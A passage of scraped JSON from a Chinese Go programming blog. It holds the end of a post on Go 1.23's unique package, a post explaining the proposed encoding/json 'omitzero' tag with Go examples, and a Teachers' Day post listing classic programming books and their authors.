href=\"https://tonybai.com/2024/08/19/some-changes-in-go-1-23\"\u003eGo的1.23版本\u003c/a\u003e中引入了一个\u003ca href=\"https://pkg.go.dev/unique?ref=tonybai.com\"\u003e新的标准库包unique\u003c/a\u003e，为Go开发者带来了高效的值\u003ca href=\"https://en.wikipedia.org/wiki/Interning_(computer_science)\"\u003einterning能力\u003c/a\u003e。这种能力不仅适用于字符串类型值，还可应用于任何可比较(comparable)类型的值。\u003c/p\u003e\n\u003cp\u003e本文将简要探讨interning技术及其在Go中的实现方式，通过介绍unique包的功能，帮助读者更好地理解这一技术及其实际应用。\u003c/p\u003e\n\u003ch2 id=\"1-从string-interning技术说起\"\u003e1. 从string interning技术说起\u003c/h2\u003e\n\u003cp\u003e通常提到interning技术时，指的是传统的字符串驻留（string interning）技术。它是一种优化方法，旨在\u003cstrong\u003e减少程序中重复字符串的内存占用\u003c/strong\u003e，并\u003cstrong\u003e提高字符串比较操作的效率\u003c/strong\u003e。其基本原理是将相同的字符串值在内存中只存储一次，所有对该字符串的引用都指向同一内存地址，而不是为每个相同字符串创建单独的副本。下图展示了使用和不使用string interning技术的对比:\u003c/p\u003e","title":"Go unique包：突破字符串局限的通用值Interning技术实现"},{"content":"JSON包新提案：用“omitzero”解决编码中的空值困局 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 JSON包新提案：用“omitzero”解决编码中的空值困局 九月 12, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/09/12/solve-the-empty-value-dilemma-in-json-encoding-with-omitzero\nGo标准库是Go号称“开箱即用”的重要因素，而标准库中的encoding/json包又是标准库最常用的Go包。虽然其性能不是最好的，但好在由Go团队维护，对JSON规范兼容性好，且质量很高。但json包也不是没有“瑕疵”的，Go官方继math/rand/v2之后，也开启了encoding/json/v2的讨论，v2包含了对功能的增强，其中就包含了对空值编码的改进的考量，以及性能方面的优化。但json/v2毕竟还属于“长远”规划，当前版本的json包的问题也要修正和完善。\n一个提出于2021年的issue近期被即将“功成身退”的Russ Cox接受(accept)，该issue就当前json包对空值编码的“瑕疵”做了描述并提出了修正方案。本文就将针对这一问题以及其方案进行探讨，希望能帮助大家更好地理解该issue以及其对应的方案。\n1. 问题溯源：omitempty的局限性 在encoding/json包中，omitempty标签是开发者控制JSON序列化行为的重要工具。它的设计初衷是允许开发者指定：当某个字段值为“空”时，在JSON编码过程中应该被忽略。然而，omitempty的空值定义存在一些固有的局限性。下面是json包中对omitempty的说明：\nThe “omitempty” option specifies that the field should be omitted from the encoding if the field has an empty value, defined as false, 0, a nil pointer, a nil interface value, and any empty array, slice, map, or string.\n总结一下，omitempty标签的判断逻辑如下：\n对于布尔类型：false被视为空 对于数值类型：0被视为空 对于字符串：”\u0026quot;（空字符串）被视为空 对于指针、接口：nil被视为空 对于数组、切片、map：长度为0被视为空 下面是一个完整的Go示例，展示了omitempty标签在不同类型上的应用：\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Example struct { BoolField bool `json:\u0026#34;bool_field,omitempty\u0026#34;` IntField int `json:\u0026#34;int_field,omitempty\u0026#34;` StringField string `json:\u0026#34;string_field,omitempty\u0026#34;` PointerField *string `json:\u0026#34;pointer_field,omitempty\u0026#34;` InterfaceField interface{} `json:\u0026#34;interface_field,omitempty\u0026#34;` ArrayField [0]int `json:\u0026#34;array_field,omitempty\u0026#34;` // 空数组 SliceField []string `json:\u0026#34;slice_field,omitempty\u0026#34;` // 空切片 MapField map[string]int `json:\u0026#34;map_field,omitempty\u0026#34;` // 空地图 } func main() { var nilString *string = nil example := Example{ BoolField: false, // 布尔类型 IntField: 0, // 数值类型 StringField: \u0026#34;\u0026#34;, // 空字符串 PointerField: nilString, // nil 指针 InterfaceField: nil, // nil 接口 ArrayField: [0]int{}, // 空数组 SliceField: []string{}, // 空切片 MapField: map[string]int{}, // 空地图 } jsonData, err := json.Marshal(example) if err != nil { fmt.Println(\u0026#34;Error marshalling example:\u0026#34;, err) } fmt.Println(string(jsonData)) // 输出：{} } 然而，这种预定义的”空”值判断逻辑并不能满足所有实际场景的需求。让我们来看几个具体的例子：\n空结构体问题 package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Config struct { EmptyStruct struct{} `json:\u0026#34;,omitempty\u0026#34;` } func main() { cfg := Config{} data, _ := json.Marshal(cfg) fmt.Println(string(data)) // 输出：{\u0026#34;EmptyStruct\u0026#34;:{}} } 我们看到：在这个例子中，尽管Config中的EmptyStruct字段是一个空结构体类型，且添加了omitempty标签，但它仍然出现在JSON输出中。\n零值结构体 除了空结构体，零值结构体也是目前omitempty标签语义覆盖不到的类型：\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type ZeroStruct struct { A int B string C float64 } type Config struct { ZeroStruct ZeroStruct `json:\u0026#34;,omitempty\u0026#34;` } func main() { cfg := Config{} data, _ := json.Marshal(cfg) fmt.Println(string(data)) // 输出：{\u0026#34;ZeroStruct\u0026#34;:{\u0026#34;A\u0026#34;:0,\u0026#34;B\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;C\u0026#34;:0}} } 我们看到：即便ZeroStruct中各个类型的值都为零，且有了omitempty标签，json.Marshal依然输出了Config中的ZeroStruct字段。\ntime.Time类型的处理 在开发实践中，我们发现json对time.Time类型在omitempty下的处理也与“常理”不符，比如下面这个示例：\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) type Event struct { Time time.Time `json:\u0026#34;,omitempty\u0026#34;` } func main() { evt := Event{Time: time.Time{}} // 零值时间 data, _ := json.Marshal(evt) fmt.Println(string(data)) // 输出：{\u0026#34;Time\u0026#34;:\u0026#34;0001-01-01T00:00:00Z\u0026#34;} } 我们看到：time.Time类型的零值依然被输出了。并且输出的是公元1年1月1日UTC时间。对于很多应用来说，这个时间并不具有实际意义，更合理的零值是”January 01, 1970 00:00:00 UTC”。\n很显然，Gopher们希望json包能更好的处理上述情形。\n2. 社区讨论与omitzero标签方案的确认 关于上述问题的解决方法，在Go社区引发了广泛讨论。不过大家普遍认为不要改变现有omitempty语义，那样会导致破坏性的change，无法向后兼容。\n在讨论过程中，社区成员提出了一些其他的解决方案：\n允许MarshalJSON()方法返回nil来完全忽略某个字段 这个方案的优点是利用了已有的接口，不需要引入新的标签。但缺点是需要为每个支持零值的类型都实现MarshalJSON()方法。\n添加OmitJSONField方法 这个方案提议为每个类型添加一个OmitJSONField() bool方法，由开发者自己控制字段的忽略逻辑，该方案提供了很大的灵活性，但可能会导致JSON序列化逻辑过于分散。\n最终，”omitzero”方案最终被认为是一个相对平衡的解决方案，因为它可以与现有的标签系统兼容，开发者可以很容易地将omitempty替换为omitzero，或者在需要的地方同时使用两者。此外，omitzero也保持了简洁性，相比其他需要大量代码修改的方案，omitzero只需要添加标签或实现一个方法(可选项)即可。\n“omitzero”标签提案的核心内容是：在序列化时，”omitzero”选项指定如果字段值为零，则该结构体字段应被省略。如果该类型定义了IsZero bool方法，那么这个零值就通过IsZero方法来判断；否则是根据字段是否是零值（通过reflect.Value.IsZero判断）来判断。该omitzero选项在反序列化(unmarshal)时没有效果。如果同时指定了”omitempty”和”omitzero”，则字段是否被省略基于两者的逻辑或关系。 这将意味着，在省略切片时，omitzero会省略空指针切片，但对于长度为零的非空切片，则不会。对于time.Time类型，会省略time.Time{}。\n此外，omitzero不强制你实现IsZero方法，但开发者可以利用IsZero方法来自由控制自定义类型在omitzero标签下是否会被省略。\n一旦有了omitzero，我们就可以用它解决上面提到的问题（omitzero尚未实现，下面是伪代码）：\n解决空结构体问题 type Config struct { EmptyStruct struct{} `json:\u0026#34;,omitzero\u0026#34;` } cfg := Config{} data, _ := json.Marshal(cfg) fmt.Println(string(data)) // 输出：{} 更好地处理time.Time类型 type Event struct { Time time.Time `json:\u0026#34;,omitzero\u0026#34;` } evt := Event{Time: time.Time{}} // 零值时间 data, _ := json.Marshal(evt) fmt.Println(string(data)) // 输出：{} 自定义类型的”零值”判断 type CustomInt int func (ci CustomInt) IsZero() bool { return ci \u0026lt;= 0 // 自定义零值判断逻辑 } type Data struct { Value CustomInt `json:\u0026#34;,omitzero\u0026#34;` } d := Data{Value: CustomInt(-1)} data, _ := json.Marshal(d) fmt.Println(string(data)) // 输出：{} 3. 小结 通过引入”omitzero”标签，Go语言在解决JSON编码中”空”值处理的痛点上迈出了重要一步。这个方案不仅满足了开发者对更灵活的”空”值定义的需求，还保持了与现有系统的兼容性。目前该omitzero的落地时间尚未确定，最早也要等到Go 1.24版本。此外，encoding/xml等也会效仿json包，增加omitzero标签。\n此外，伴随着omitzero提案被接受，另外一个在2021年由Josh Bleecher Snyder提出的相关提案：proposal: cmd/vet: warn about structs marked json omitempty也被重新“唤醒”，针对该提案，目前社区在active discussions。\n随着后续encoding/json/v2的到来，我们可以期待Go语言在数据序列化领域会有更出色的表现。这不仅将提升json编解码效率，还将为构建更加健壮和灵活的基于json的Go应用程序铺平了道路。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/12/solve-the-empty-value-dilemma-in-json-encoding-with-omitzero/","summary":"\u003ch1 id=\"json包新提案用omitzero解决编码中的空值困局--tony-bai\"\u003eJSON包新提案：用“omitzero”解决编码中的空值困局 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"json包新提案用omitzero解决编码中的空值困局\"\u003eJSON包新提案：用“omitzero”解决编码中的空值困局\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e九月 12, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/09/12/solve-the-empty-value-dilemma-in-json-encoding-with-omitzero/#respond\" title=\"《JSON包新提案：用“omitzero”解决编码中的空值困局》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/solve-the-empty-value-dilemma-in-json-encoding-with-omitzero-1.png\"\u003e\u003c/p\u003e","title":"JSON包新提案：用“omitzero”解决编码中的空值困局"},{"content":"\n本文永久链接 – https://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works\n早上送孩子去幼儿园的路上，收到一个小伙伴的微信：\n我这才意识到今天是教师节！为人师，自觉还不够格！但在这个特殊的日子，作为IT行业从业人员，我想向那些在计算机科学和编程领域给予我们启迪的“老师们”致敬。这些老师可能不是传统意义上站在讲台前的教育者，但他们通过自己的著作、思想和贡献，通过他们的智慧结晶，为我们指明了方向，为无数程序员的成长之路点亮了明灯。\n这里我列举的作者与其著作也都是我个人从大学开始至今在计算机编程学习和实践之路上受到深刻影响的重要参考资料。这些书籍不仅丰富了我的知识，也激发了我对编程的热情和探索精神。每一位作者的独特视角和深入浅出的讲解，都让我在理解复杂概念时受益匪浅。希望也能引起大家的共鸣。\n注：计算机领域巨匠甚多，笔者见识有限，不能一一列举，这里仅列出我亲自读过且对我影响深远的作者及其代表作品，至于像唐纳德·克努斯和他的巨著《计算机程序设计艺术》等，由于我并未拜读过，这里也就没有列出。\n注：书中的图书封面图片可能并非该书最新版的封面，而是笔者购买时的版本的封面图片。\n2. 编程语言 2.1 C语言/Go语言领域 2.1.1 Dennis Ritchie 大一的时候学校开设了C语言编程课，指定谭浩强老师的《C程序设计（第二版）》作为随课教材，当时我特意到大学书店花了银子买了本，并奉为皋臬。\n直到我看到清华出版的影印版《C程序设计语言(第二版)》，才发现自己天真了，这本才是真正的“圣经”！\nDennis Ritchie，被誉为”C语言之父”，1983年图灵奖得主(与Ken Thompson同年获得)。他不仅创造了C语言，还与Ken Thompson一起开发了UNIX操作系统。刚刚过去的9月9日是其诞辰纪念日，MIT CSAIL在X上发文纪念了这位计算机先驱和现代编程语言奠基人：\n他与Brian Kernighan合著的《The C Programming Language》被亲切地称为“K\u0026amp;R C”，是学习C语言的必读经典，书籍不厚，它以简洁明了的语言介绍了C语言的核心概念(遵循当时的ANSI C89/C90标准)，影响了几代程序员。\n2.1.2 Brian Kernighan 说完K\u0026amp;R中的R，我们再来说K。K指的是Brian Kernighan，他也是Bell实验室UNIX开发团队的重要成员，是C语言的主要推广者之一，他也是AWK语言中的最后的那个K。和Dennis Ritchie等动不动就是语言之父不同，Kernighan以写作风格闻名。他的写作风格清晰易懂，使复杂的概念变得平易近人，并以一种易于理解和应用的方式呈现给读者。这使得与Dennis Ritchie合著的《C程序设计语言》不仅是C语言语言特性的权威指南，更是编程语言类书籍技术写作的典范，之后很多编程语言类的书籍都参考Kernighan的风格，至少也会先从一个“Hello, World”开始全书的讲解。\n其与P.J.Plauger合著的《The Elements of Programming Style》也是程序员眼中的经典。\n2015年，已经70高龄的Kernighan又和Go团队的Alan Donovan合著了Go语言编程书籍领域公认的圣经《The Go Programming Language》。这本书与K\u0026amp;R C的风格很相似，作者们以清晰简洁的语言，系统且全面地介绍了Go的语法特性和编程理念，并通过大量的实例展示了Go在实际项目中的应用。书中不仅覆盖了基础知识，还深入探讨了并发编程、unsafe编程等Go高级主题。\n2.2 C++ 2.2.1 Bjarne Stroustrup Bjarne Stroustrup是C++语言之父，他从1979年开始，在C语言的基础上添加了面向对象编程等特性，从而创造了C++这门强大而灵活的通用编程语言。C++经过ISO标准化后，他也是C++标准委员会的创始成员，并从那时起一直是一名活跃成员。如今，他还担任负责处理语言扩展提案的小组（进化工作组）的主席。\nBjarne Stroustrup的著作也是我入门和深入C++的必读经典，其中《C++程序设计语言》被认为是C++语言的”圣经”。Stroustrup以语言之父的口吻在书中详细介绍了C++的语言特性、抽象机制、标准库与设计理念。它不仅是一本语言参考，更是理解C++哲学的重要资源。\n我是从高教影印版的《The C++ Programming Language (Special Edition)》开始看这本书的，与当时手里的钱能老师所著的《C++程序设计教程》相比，我感觉Stroustrup的The C++ Programming Language简直是在讲述一门新语言。\nStroustrup的另外一本书《The Design and Evolution of C++》是C++进阶的必读之作，国内版译为《C++语言的设计与演化》，这本书可以理解为Stroustrup设计C++背后的心路历程以及设计决策与语言机制：\nStroustrup的书虽好，但读起来有些难度，对初学者可能不那么友好，尤其是The C++ Programming Language，更像是一本C++语言的spec，缺少了像Kernighan那种春风化雨的阅读体验，所以我个人更喜欢下面这位C++大佬的作品。\n注：Stroustrup这些年持续更新其作品，甚至还推出了《A Tour of C++》这样的更易读的小册子。\n2.2.2 Stanley B. Lippman Stanley B. Lippman是Stroustrup的同事，早年和Stroustrup一起在Bell实验室开发C++编译器，2001年，Lippman加入微软，成为Visual C++的架构师。他最为人所称道的是他的“一厚一薄”两本C++经典著作。\n我们先说这本厚的，它就是C++大部头：《C++ Primer》，这本书分为C++基础、C++标准库、类设计者的工具和高级主题四个部分，非常适合C++初学者，同样其高级主题对于有经验的C++熟手也有很高的价值。\nLippman的另外一本薄书名为《Inside the C++ Object Model》，最初国内中译版《深度探索C++对象模型》由宝岛知名技术作家侯捷翻译，如今的很多新一代程序员可能已经不知道侯捷老师了，他如今依然活跃在C++高级培训的舞台上。\n这本书属于C++进阶书籍，Lippman从C++编译器实现者的角度对C++的对象模型、继承和多态的实现机制(比如虚函数表、动态绑定等)等做了深入浅出的讲解，是C++走向高级阶段的必读之作。\n不幸的是，Lippman已于2022年仙逝，我们再也看不到他亲自更新C++ Primer了。\n2.2.3 Scott Meyers 如果你学过C++，但没有看过Effective C++系列，那我可以肯定你不是C++高手，Scott Meyers的《Effective C++》系列书籍是C++程序员通往高手境界的必读书籍：\n这套C++丛书的特色就是以一条条C++准则为单元，每一条都扼要说明了一个可让你写出更好的C++程序代码的方法，并以特别设计过的例子详加讨论，这非常适合程序员的胃口。\n2.3 Java 我在工作初期曾经系统学过Java，那时Java刚刚发布5.0，Spring也是方兴未艾。现在看来，没有Spring的Java是那么的纯粹！\n学习纯Java，两本书足矣！下面我们就分别来看看这两本书和他们的作者。\n2.3.1 Bruce Eckel Bruce Eckel是著名的C++和Java作家，以其深入浅出的写作风格闻名。我没有将Eckel列到C++范畴，一是因为C++大神太多，二则是因为他的Thinking in Java似乎比他的Thinking in C++影响力更大。\n这本书《Java编程思想》被誉为学习Java最全面的资源之一。Eckel以其特有的方式，深入浅出地解释了Java的核心概念和高级特性。书中的例子丰富而实用，帮助读者真正理解和掌握Java编程，并这本书只讲纯Java语法，并不涉及任何框架。读过的朋友，还记得书中那句“Everything is an object”吗！\n2.3.2 Joshua Bloch 和Bruce Eckel是一个作家和培训师不同，Joshua Bloch领导了许多Java平台功能的设计和实现，包括Java Collections Framework、java.math包和断言机制等，对Java语言和库的发展做出了重要贡献。他曾在Sun Microsystems担任杰出工程师。2004年他离开Sun，成为Google首席Java架构师。\n和Bloch为Java实现做出的贡献相比，他的书籍在Java界更是“家喻户晓”，他曾自己或与其他人合著过多本Java书籍，包括Java Puzzlers、Java Concurrency In Practice以及Effective Java。而最后的《Effective Java》更是成为了Java程序员几乎人手一本的神作：\n这本书提供了编写高质量Java代码的最佳实践。Bloch基于自己丰富的经验，提出了许多实用的建议，涵盖了从基本的编程习惯到高级主题如并发和序列化，其中每条建议都值得大家细致琢磨品味。这本书帮助无数Java程序员提升了代码质量和效率。\n3. 算法与数据结构 程序员，永远绕不开算法与数据结构。在算法与数据结构领域，Donald E. Knuth无疑是祖师爷级别的，他写的多卷本大部头的“计算机程序设计艺术”被多少人买回后顶礼膜拜，却不曾拆封拜读:)。\n更多人和我一样，喜欢更为实用的，能看懂的书籍资料。\n3.1 Robert Sedgewick 首先我们来看Sedgewick和Wayne合著的作品：《算法（第4版）》。\nRobert Sedgewick是Donald E. Knuth的学生，名门之后，从1985年开始一直担任普林斯顿大学计算机科学系教授，曾任该系主任。很多耳熟能详的数据结构和算法都是Sedgewick发明的，比如红黑树、三元搜索树等。他基于课程讲义编写的这本“算法”，以清晰的讲解和丰富的Java实现而闻名。该书不仅介绍了经典数据结构和算法，还着重讨论了算法在实际问题中的应用。书中包含了大量的图示和代码，使得复杂的算法概念变得易于理解。这本书适合从入门到进阶的各个阶段的读者，是算法学习的必备参考。不过你不要想一下吃透这本书，很多算法非常深奥，可以将其作为案头的参考书，常看常新。\nSedgewick曾出版过多本算法书籍，有C实现的，有C++实现的，大家可以根据自己需要选择不同的实现版本。\n3.2 Thomas H. Cormen和Charles E. Leiserson等 提到算法，就不能不提到另外一部大部头的经典著作《算法导论》\n这部作品的英文版有上千页，可谓是算法领域的“百科全书”，这本书由 达特茅斯学院计算机科学系教授Thomas H. Cormen、麻省理工学院计算机科学与电气工程系教授Charles E. Leiserson等四人共同完成。这本书既全面又严谨，因此啃起来非常有难度，我在大学时期就买了该书的高教出版社的影印版，至今过去了十余年，我也没有完成全书的阅读:(。\n在国内数据结构领域不得不说的另外一本教材是清华大学出版社出版的、由严蔚敏和吴伟民两位老师合著的《数据结构（C语言版）》，因很多高效将其作为考研指定教材，因此这本书的市占率很高，大家可以结合前面两个外版教材一起学习，效果可能更佳。下图是当年我购买时的版本样式：\n4. 软件工程与编程思想 从大学毕业，入职工作后，软件工程知识必不可少，下面这些经典著作可以帮助大家快速融入工程领域。\n4.1 Erich Gamma、Richard Helm、Ralph Johnson和John Vlissides 这四位博士都是国际公认的面向对象软件领域的专家。他们在1994年合著的开创性的书籍《设计模式：可复用面向对象软件的基础》成为了开发人员在工程领域的必读之作，其影响力之广泛在整个IT领域都能排在TOP10。\n这本书定义并系统化了软件设计中的常见模式，为面向对象设计提供了一套通用词汇和最佳实践。书中详细描述了23种设计模式，并通过实例说明了它们的应用场景。这本书不仅影响了无数程序员的设计思想，也为软件工程领域提供了宝贵的参考。这四位博士的工作对软件设计模式的研究和应用产生了深远的影响。\n4.2 Steve McConnell Steve McConnell是软件工程实践领域的权威专家，他的著作有不少，包括《Code Complete》、《Rapid Development 》和《Software Estimation》等，都对提高代码质量和开发效率有着重要影响。而其中影响力最大的莫过于《代码大全（第2版）》：\n这是一本软件构建实践的百科全书，它涵盖了从变量命名到软件架构的各个方面。McConnell以丰富的经验和洞察力，提供了大量实用的编程技巧和最佳实践。这本书不仅适合新手学习，也是有经验的程序员提升技能的重要资源。并且，书中所讲的各种技巧和实践几乎与编程语言无关，无论你擅长哪种语言，都能从中获益！\n4.3 Robert C. Martin（Uncle Bob） Robert C. Martin，昵称”Uncle Bob”，是敏捷开发运动的重要推动者，也是软件工艺的倡导者。他的著作颇多，包括敏捷软件开发、敏捷整洁之道、代码整洁之道、匠艺整洁之道等。最近刚刚上市的《函数式设计》也出自Bob大叔之手。\n在他的诸多作品中，《敏捷软件开发：原则、模式与实践》对我的影响更为深刻。\n在这本书中，Martin详细阐述了敏捷开发的核心原则(SOLID原则)，并通过大量的案例研究和设计模式，展示了如何在实践中应用这些原则。这本书不仅介绍了技术层面的最佳实践，还深入探讨了敏捷开发对团队协作和项目管理的影响。\n4.4 Andrew Hunt和David Thomas Hunt和Thomas是两位经验丰富的软件开发者，他们的著作强调了持续学习和改进在程序员职业生涯中的重要性。他们共同开创了Pragmatic Programmer的概念，并通过其大作：《程序员修炼之道：从小工到专家》为开发人员讲述具体实践的方法：\n这本书强调了在软件开发中保持务实态度的重要性。作者们通过一系列小贴士和练习，涵盖了从个人责任到知识投资等多个方面，帮助程序员不断提升自己的技能和职业素养。\n4.5 Frederick P. Brooks Jr. 谈到软件工程，我们不能忘记一个人，他就是Frederick P. Brooks Jr.。Brooks是一位美国计算机架构师、软件工程师和计算机科学家，以管理IBMSystem/360系列大型机和OS/360的开发而闻名。他在其开创性著作《人月神话》中坦率地写下了这些开发和项目管理经历，对后续的软件工程领域产生了深远的影响：\n这本软件工程的经典之作挑战了许多关于软件开发的传统观念。Brooks通过自己在IBM的经历，深入探讨了大型软件项目管理中的各种问题。尽管首次出版已经过去多年，但书中关于团队沟通、项目规划和概念完整性等方面的见解至今仍然适用，是每个软件项目管理者入门必读的著作。\n5. 计算机系统 最后，我们看一下计算机系统领域，我将系统编程、网络编程、编译器、数据库、操作系统统统放到这个领域一起说明了，排名不分先后:)。\n5.1 Randal E.Bryant Randal Bryant是一位美国计算机科学家和学者，因其在形式验证数字硬件和软件方面的研究而闻名。Bryant自1984年以来一直在卡内基梅隆大学任教。2004年至2014年，他担任卡内基梅隆大学计算机科学学院(SCS)院长。他长期从事本科生和研究生计算机系统方面课程教学近40年。他和David O’Hallaron教授一起在卡内基梅隆大学开设了15-213课程“计算机系统导论”，其《深入理解计算机系统》便是以这门课的讲义为基础撰写而成的：\n这本书涵盖了计算机系统的多个层面，包括硬件、操作系统、编程语言和网络等，使读者对计算机的整体架构有深入的理解。对于计算机专业入门的学生而言，这本书是必读的教材，国内尚没有类似的教材能望其项背！当年如果早早能看到这本教材该多好啊！\n5.2 W. Richard Stevens Richard Stevens是UNIX和网络编程领域的权威专家，也是我顶礼膜拜的大神，他的著作对系统级编程产生了深远的影响。在我工作后的若干年内，Stevens的作品是我理解Unix/Linux系统编程的必备参考，并全部购买收藏，随时翻阅。更神奇的是，他的每一部作品都是上乘之作，看下面的豆瓣评分：\n-《UNIX环境高级编程》\n这本书被誉为UNIX编程的”圣经”。Stevens深入浅出地解释了UNIX系统调用和库函数的使用，涵盖了文件I/O、进程控制、信号处理、线程等关键主题。这本书不仅是学习UNIX/Linux系统编程的必备参考，也为理解操作系统内部工作原理提供了宝贵的见解。\n-《UNIX网络编程》（卷1：套接字联网API，卷2：进程间通信）\n相对于Unix环境高级编程的全面和总括，这套书深入具体领域，重点覆盖了UNIX环境下的网络编程和进程间通信技术。第一卷重点讲解了TCP/IP协议族和套接字编程，第二卷则专注于UNIX系统上的各种IPC（进程间通信）机制。这套书不仅提供了详细的技术讲解，还包含了大量的实例代码，是网络编程学习和实践的必备参考。\n-《TCP/IP详解》系列\n这套书深入浅出地解释了TCP/IP协议族的工作原理，从协议的基本概念到复杂的实现细节，为读者呈现了一幅完整的TCP/IP知识图谱。这套书不仅适合网络程序员阅读，也是理解现代互联网技术基础的重要资源。\n对于Stevens的这些书，虽然年代已久，但对如今的后端/系统程序员依然有极大的参考价值，建议大家必读。\n5.3 Alfred V. Aho, Monica S. Lam, Ravi Sethi和Jeffrey D. Ullman 以Alfred V. Aho为代表的这几位作者都是编译器理论和实现的权威专家，他们的著作被誉为编译原理领域的”圣经”。Alfred V. Aho同时也是AWK语言中的那个”A”，他还著有《计算机算法的设计与分析》。当然“龙书”是其在学术领域著作的最卓越代表，学编译原理的同学建议人手一本。\n这本书以其全面性和深度在编译器领域独树一帜。从词法分析、语法分析到代码优化，书中详细讲解了编译器设计的各个环节。虽然以理论为主，但书中也包含了大量的实例和练习，帮助读者将理论付诸实践。这本书不仅是编译器开发者的必读之作，对理解程序语言的设计和实现也有重要帮助。国内各大开设编译原理课程的重点高校也都将其作为第一教材。国内一些高校也编写了一些自己的教材，但与这本“龙书”相比，level还是差距很大。\n5.4 Abraham Silberschatz Avi Silberschatz是一位以色列计算机科学家和研究员，曾在bell实验室工作过，他因在计算机科学领域撰写了许多有影响力的著作而闻名，尤其是操作系统和数据库系统方面。其作品《数据库系统概念》和《操作系统概念》被全世界的高校计算机专业所采用。\n-《数据库系统概念》\n本书由Abraham Silberschatz、 Henry F. Korth和S. Sudarshan合著，这三位作者都是数据库系统领域的专家，他们的著作被广泛用作大学教材和专业参考。这本书全面介绍了数据库系统的基本概念、设计原理和实现技术。从关系代数到事务处理，从查询优化到分布式数据库，书中涵盖了传统和现代数据库技术的各个方面。无论你是在校数据库专业的学生，还是从事数据库核心系统开发的工程师，亦或是数据库应用开发的程序员，本书都极具参考价值，可放置在案头随时查看。\n-《操作系统概念》\n本书由Abraham Silberschatz, Peter B. Galvin 和Greg Gagne合著，这几位作者都是操作系统理论和实践的专家，他们的著作在学术界和工业界都有广泛影响。\n这本书以其全面性和深度成为了操作系统学习的重要参考。从进程管理到分布式系统，从内存管理到安全性，书中详细讨论了操作系统的各个方面。作者们不仅介绍了理论知识，还通过案例研究展示了这些概念在实际系统中的应用。这本书适合从入门到进阶的各个阶段的读者，是理解现代计算机操作系统工作原理的关键参考材料。\n6. 小结 